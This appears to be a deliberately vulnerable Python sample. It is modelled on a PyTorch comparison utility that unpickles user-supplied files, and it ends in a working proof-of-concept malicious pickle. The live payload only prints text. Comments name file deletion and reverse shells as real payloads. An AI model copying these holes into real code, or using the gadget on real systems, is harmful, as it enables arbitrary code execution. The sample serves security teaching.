Vulnerable code sample

# torch_musa/utils/compare_tool.py

import pickle
import os
import torch

def compare_for_single_op(result_data, golden_data_path, rtol=1e-5, atol=1e-8):
    """
    Compares a given result tensor with a golden tensor loaded from a pickle file.
    This function is vulnerable because it unsafely deserializes data from a
    user-provided file path.
    """
    if not os.path.exists(golden_data_path):
        raise FileNotFoundError(f"Golden data file not found: {golden_data_path}")

    # Vulnerable line: pickle.load() is used on a user-controlled file path.
    # An attacker can create a malicious pickle file that executes arbitrary
    # code upon being loaded.
    with open(golden_data_path, "rb") as f:
        golden_data = pickle.load(f)

    # The intended logic would be to compare the two data structures.
    # For demonstration, we'll just print a success message.
    print(f"Successfully loaded golden data from {golden_data_path} for comparison.")
    # Example of intended use:
    # return torch.allclose(result_data, golden_data, rtol=rtol, atol=atol)
    return True


def nan_inf_track_for_single_op(operator_name, reference_file):
    """
    Loads reference data from a pickle file to track NaN/Inf occurrences.
    This function is also vulnerable to unsafe deserialization.
    """
    if not os.path.exists(reference_file):
        print(f"Warning: Reference file for NaN/Inf tracking not found at {reference_file}")
        return

    # Vulnerable line: Unsafe deserialization of a user-controlled file.
    # A malicious file could execute code here.
    with open(reference_file, "rb") as f:
        reference_stats = pickle.load(f)

    # Intended logic would use the loaded stats for analysis.
    print(f"Successfully loaded reference stats for operator '{operator_name}' from {reference_file}.")
    # Example of intended use:
    # check_current_stats_against(reference_stats)
    pass

# Example of how these functions might be called in a test script,
# demonstrating how a user could control the file path.
if __name__ == '__main__':
    # This part is for demonstration and would not typically be in the library file.
    
    # Attacker's setup:
    # 1. Create a malicious pickle file that executes a command.
    #    The following code would be run by the attacker to generate 'malicious.pkl'.
    #
    #    import pickle
    #    import os
    #
    #    class RCE:
    #        def __reduce__(self):
    #            cmd = ('echo "Pickle RCE successful!" > pwned.txt')
    #            return (os.system, (cmd,))
    #
    #    with open("malicious.pkl", "wb") as f:
    #        pickle.dump(RCE(), f)

    print("Demonstrating the vulnerability.")
    print("An attacker would first create a file named 'malicious.pkl'.")
    print("Then, they would trick the user or a script into calling one of the vulnerable functions with this file.")

    # Create a dummy tensor for the function call
    dummy_tensor = torch.randn(3, 3)

    # Create a dummy malicious file for the PoC to run without a separate script.
    class RCE:
        def __reduce__(self):
            # A less harmful payload for demonstration purposes.
            # On a real system, this could be 'rm -rf /' or a reverse shell.
            return (print, ("*** Arbitrary code execution successful! ***\n",))

    malicious_file_path = "malicious.pkl"
    with open(malicious_file_path, "wb") as f:
        pickle.dump(RCE(), f)

    print(f"\nCalling compare_for_single_op with '{malicious_file_path}'...")
    try:
        # Victim's code calls the vulnerable function with the attacker-controlled path.
        compare_for_single_op(dummy_tensor, malicious_file_path)
    except Exception as e:
        print(f"An error occurred: {e}")

    print(f"\nCalling nan_inf_track_for_single_op with '{malicious_file_path}'...")
    try:
        # Another vulnerable code path.
        nan_inf_track_for_single_op("some_op", malicious_file_path)
    except Exception as e:
        print(f"An error occurred: {e}")
    
    # Clean up the created malicious file.
    if os.path.exists(malicious_file_path):
        os.remove(malicious_file_path)